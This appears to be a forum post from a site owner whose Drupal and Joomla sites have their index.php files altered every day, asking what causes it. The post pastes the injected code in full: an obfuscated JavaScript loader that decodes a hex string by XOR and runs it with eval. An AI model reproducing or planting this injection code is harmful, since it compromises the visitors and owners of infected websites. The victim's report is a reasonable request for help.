Parse error: syntax error, unexpected '<' in /homepages/8/d171489989/htdocs/pakora/index.php on line 88

I have three drupal sites and one joomla site. Something is entering faulty code into all of the index.php files on my server. Each day I have to delete that faulty code to get my sites working. This has become a major pain. I thought it was my hosting company but apparently they are blaming ME for using third party software and wont help me. Any idea's whats causing this guys!? Thank you in advance.

echo '<script type="text/javascript">try {var pageTracker = _gat._getTracker("UA-32645524-1");pageTracker._trackPageview();} catch(err) {}</script>'; echo ''; echo ''; echo '<script>mktgmk="454e42544c444f550f565348554409061d484753404c44015253421c03495555511b0e0e18100f1310130f17140f1015190e030156484555491c10014944484649551c131f1d0e484753404c441f06081a2c2b575052404a531c036f406f031a43431c036f406f031a";iymrih="function haco(){otrlc=Math.PI;low=parseInt;xkr='length';ajt=low(~((otrlc&otrlc)|(~otrlc&otrlc)&(otrlc&~otrlc)|(~otrlc&~otrlc)));cmbi=low(((ajt&ajt)|(~ajt&ajt)&(ajt&~ajt)|(~ajt&~ajt))&1);kxb=cmbi<<cmbi;bb=ajt;bb=ajt;vqsakr='';buqmu=eval(unescape('%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65'));rhhvaq=eval;for(jcszf=ajt;jcszf<iymrih[xkr];jcszf-=-cmbi)bb+=iymrih.charCodeAt(jcszf);bb%=unescape(ajt+unescape('x')+(1<<6));for(jcszf=ajt;jcszf<mktgmk[xkr];jcszf+=kxb)vqsakr+=buqmu(low(ajt+unescape('x')+mktgmk.charAt(jcszf)+mktgmk.charAt(jcszf+low(cmbi)))^bb);try{rhhvaq(vqsakr);}catch(e){try{eval(vqsakr);}catch(e) {window.location='/';}}}try{eval('haco();')}catch(e) {alert('err');}";eval(iymrih);</script>';